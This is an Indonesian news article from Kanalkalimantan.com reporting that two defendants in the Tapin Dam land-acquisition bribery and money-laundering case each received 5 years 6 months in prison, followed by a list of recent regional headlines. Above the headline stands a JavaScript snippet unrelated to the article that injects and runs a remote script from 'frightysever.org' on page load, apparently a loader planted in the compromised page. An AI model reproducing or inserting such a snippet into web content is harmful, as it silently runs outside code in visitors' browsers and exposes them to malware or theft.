(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Terdakwa Korupsi Bendungan Tapin Divonis 5 Tahun 6 Bulan Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Dua terdakwa kasus suap dan pencucian uang pembebasan lahan proyek Bendungan Tapin dinyatakan terbukti bersalah oleh majelis hakim Pengadilan Tipikor Banjarmasin, Senin (9/10/2023) siang.

Herman (swasta) dan Sugianor (mantan Kades Pipitak Jaya) masing-masing dihukum dengan pidana 5 tahun 6 bulan penjara dan denda Rp200 juta subsider 2 bulan kurungan.

Putusan pidana penjara itu lebih tinggi 6 bulan dari tuntutan Jaksa Penuntut Umum (JPU) dari Kejari Tapin sebelumnya.

Baca juga: Korban Kerusuhan di Desa Bangkal Seruyan Operasi di RSUD Ulin Banjarmasin Tanpa Penjagaan Aparat Kepolisian

“Terdakwa terbukti bersalah melakukan tindak pidana korupsi secara bersama-sama sebagaimana dakwaan komulatif penuntut umum. Menjatuhkan pidana penjara selama 5 tahun 6 bulan dan denda Rp200 juta subsider 2 bulan kurungan,” ucap Ketua Majelis Hakim Suwandi saat membacakan putusan kedua terdakwa secara terpisah, Senin (9/12/2023) siang.

Menariknya, dalam putusan yang dibacakan Ketua Majelis Hakim Suwandi tidak membebankan keduanya untuk membayar uang pengganti atau dianggap tidak melakukan kerugian negara.

Padahal tuntutan JPU sebelumnya menyatakan keduanya terbukti merugikan keuangan negara, dan membebankan keduanya membayar uang pengganti dengan rincian terdakwa Herman Rp954 juta sedangkan Sugianor Rp800 juta.

Baca juga: Pelajar MTsN Pingsan Setelah Turun dari Angkot

Sementara pasal yang dikenakan masih sesuai dengan dakwaan komulatif penuntut umum, yaitu Pasal 12 Undangan-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Kemudian Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencucian Uang.

Atas putusan 5 tahun 6 bulan penjara tersebut, penasehat hukum terdakwa Herman maupun Sugianor mengatakan akan mempertimbangkan terlebih dahulu sebelum memutuskan bandung atau menerima putusan.

Baca juga: Ajak Anak Belajar P3K dan Sains di Kebun

“Setelah berdiskusi dengan terdakwa, kami nyatakan pikir-pikir,” ungkap Rahmi Fauzi, salah satu tim penasehat hukum Sugianor.

Hal yang sama juga diungkapkan JPU dari Kejari Tapin, mereka mengaku akan mempertimbangkan terlebih dahulu putusan hakim tersebut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

3 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

6 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

9 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

9 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

9 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

10 jam ago

This website uses cookies.